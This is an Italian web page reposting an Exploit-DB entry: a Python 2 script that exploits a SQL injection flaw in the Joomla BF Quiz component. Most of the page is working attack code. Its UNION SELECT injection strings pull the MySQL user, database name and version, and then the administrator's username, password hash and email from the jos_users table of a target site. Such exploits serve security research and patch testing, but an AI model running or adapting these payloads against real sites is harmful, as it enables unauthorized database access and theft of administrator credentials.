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Joomla Component BF Quiz SQL Injection Exploit

Creato Domenica, 30 Maggio 2010 17:39
# Title: Joomla Component BF Quiz SQL Injection Exploit
# EDB-ID: 12796
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Valentin Hoebel
# Published: 2010-05-29
# Verified: no
# Download Exploit Code
# Download N/A

#!/usr/bin/python
# Joomla Component BF Quiz SQL Injection Exploit
# by Valentin Hoebel ( Questo indirizzo email è protetto dagli spambots. E' necessario abilitare JavaScript per vederlo. )
# Version 1.0 (29th May 2010)
# ASCII FOR BREAKFAST
# About the vulnerability:
# ----------------------------------------------------------------------------
# Read more here:
# http://xenuser.org/documents/security/joomla_com_bfquiz_sqli.txt
# About the exploit:
# ----------------------------------------------------------------------------
# Tries to give you the admin password hash!
# Usage example:
# python joomla_com_bfquiz_sploit.py - u "http://target/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=34"
# This tool war written for educational purposes only. I am not responsible for any damage
# you might cause using this tool. Know and respect your local laws!
# Only use this tool on websites you are allowed to test :)
# Greetz && THX
# ----------------------------------------------------------------------------------
# Greetz: cr4wl3r and /JosS
# Greetz && THX to: inj3ct0r, Exploit DB team, hack0wn and packetstormsecurity.org
# Power to the cows!
import sys,  re,  urllib,  urllib2,  string
from urllib2 import Request, urlopen, URLError, HTTPError
# Prints usage
def print_usage():
print ""
print ""
print "________________________________________________"
print "Joomla Component BF Quiz SQL Injection Exploit"
print "by Valentin Hoebel ( Questo indirizzo email è protetto dagli spambots. E' necessario abilitare JavaScript per vederlo. )"
print ""
print "            (__)        "
print "            (oo)     Version 1.0 (29th May 2010)  "
print "     /-------\/         "
print "    / |     ||           "
print "   *  ||----||           "
print "      ~~    ~~       Power to teh cows!"
print "________________________________________________"
print ""
print "Exploits the SQL injection vulnerability I"
print "discovered within the Joomla component BF Quiz."
print ""
print "Usage example:"
print "python joomla_com_bfquiz_sploit.py - u \"http://target/index.php?option=com_bfquiztrial&view=bfquiztrial&catid=34\""
print ""
print "Options:"
print " -u <URL>   (start the exploit)"
print " --help     (displays this text)"
print ""
print "Features:"
print " - Check if provided URL is reachable"
print " - Display current database, MySQL user and the MySQL version"
print " - Display the password hash of the Joomla administrator"
print ""
print ""
return
#Prints banner
def print_banner():
print ""
print ""
print "________________________________________________"
print "Joomla Component BF Quiz SQL Injection Exploit"
print "by Valentin Hoebel ( Questo indirizzo email è protetto dagli spambots. E' necessario abilitare JavaScript per vederlo. )"
print ""
print "            (__)        "
print "            (oo)     Version 1.0 (29th May 2010)  "
print "     /-------\/         "
print "    / |     ||           "
print "   *  ||----||           "
print "      ~~    ~~       Power to teh cows!"
print "________________________________________________"
return
# Testing if URL is reachable, with error handling
def test_url():
print "[.] Checking if connection can be established..."
try:
response = urllib2.urlopen(provided_url)
except HTTPError,  e:
print "[!] The connection could not be established."
print "[!] Error code: ",  e.code
print "[!]Exiting now!"
print ""
sys.exit(1)
except URLError,  e:
print "[!] The connection could not be established."
print "[!] Reason: ",  e.reason
print "[!] Exiting now!"
print ""
sys.exit(1)
else:
valid_target = 1
print "[.] Connected to target! URL seems to be valid."
return
def exploit_url():
# Define injection string for reading out basic information
information_injection_string = "+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),11,12,13,14,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,concat_ws(0x3b,0x503077337220743020743368206330777321,user(),database(),version(),0x503077337220743020743368206330777321),97,98,99,100--"
admin_pass_hash_injection_string = "+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),11,12,13,14,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,concat_ws(0x3b,0x503077337220743020743368206330777321,id,name,username,password,email,usertype,0x503077337220743020743368206330777321),97,98,99,100+from+jos_users+LIMIT+0,1--"
# Craft the URLs which are about to be exploited
exploit_url_information = provided_url+information_injection_string
exploit_url_admin_pass_hash = provided_url+admin_pass_hash_injection_string
# Read out some interesting stuff
print "[.] Reading out some interesting information..."
response = urllib2.urlopen(exploit_url_information)
html = response.read()
# Now extract the interesting information
get_secret_data = string.find(html,  "P0w3r t0 t3h c0ws!")
# If  the target is not vulnerable exit
if get_secret_data == -1:
print "[!] Exploitation failed. Maybe the target isn't vulnerable?"
print "[!] Hint: The exploit doesn't work on every target by default."
print "[!] If you have knowledge about MySQL injection simply have a look at the source code and change the injection strings."
print "[!] For me it worked on 3/10 targets by default."
print "[!] Exiting now!"
print ""
sys.exit(1)
get_secret_data += 18
new_html4= html[get_secret_data :]
new_get_secret_data4 = string.find(new_html4,  "P0w3r t0 t3h c0ws!")
new_html_5 = new_html4[:new_get_secret_data4]
# Data was received, now format and display it
formatted_output = str.split(new_html_5,  ";")
print "[+] MySQL Database User: ",  formatted_output[1:2]
print "[+] MySQL Database: ",  formatted_output[2:3]
print "[+] MySQL Version: ",  formatted_output[3:4]
# Now let's get the admin password hash!
print "[.] Getting the admin password hash..."
response = urllib2.urlopen(exploit_url_admin_pass_hash)
html = response.read()
get_secret_data = string.find(html,  "P0w3r t0 t3h c0ws!")
get_secret_data += 18
new_html = html[get_secret_data :]
new_get_secret_data = string.find(new_html,  "P0w3r t0 t3h c0ws!")
new_html_2 = new_html[:new_get_secret_data]
# Data was received, now format and display it
formatted_output = str.split(new_html_2,  ";")
print "[+] ID: ",  formatted_output[1:2]
print "[+] Name: ",  formatted_output[2:3]
print "[+] Username: ",  formatted_output[3:4]
print "[+] Password Hash: ",  formatted_output[4:5]
print "[+] E-Mail Address: ",  formatted_output[5:6]
print "[+] User status: ",  formatted_output[6:7]
print "[.] That's it! Bye!"
print ""
sys.exit(1)
return
# Checking if argument was provided
if len(sys.argv) <=1:
print_usage()
sys.exit(1)
for arg in sys.argv:
# Checking if help was called
if arg == "--help":
print_usage()
sys.exit(1)
# Checking if  URL was provided, if yes -> go!
if arg == "-u":
provided_url = sys.argv[2]
print_banner()
# At first we test if we can actually reach the provided URL
test_url()
# Now start the main exploit function
exploit_url()
### EOF ###
Categoria: Vulnerabilità Joomla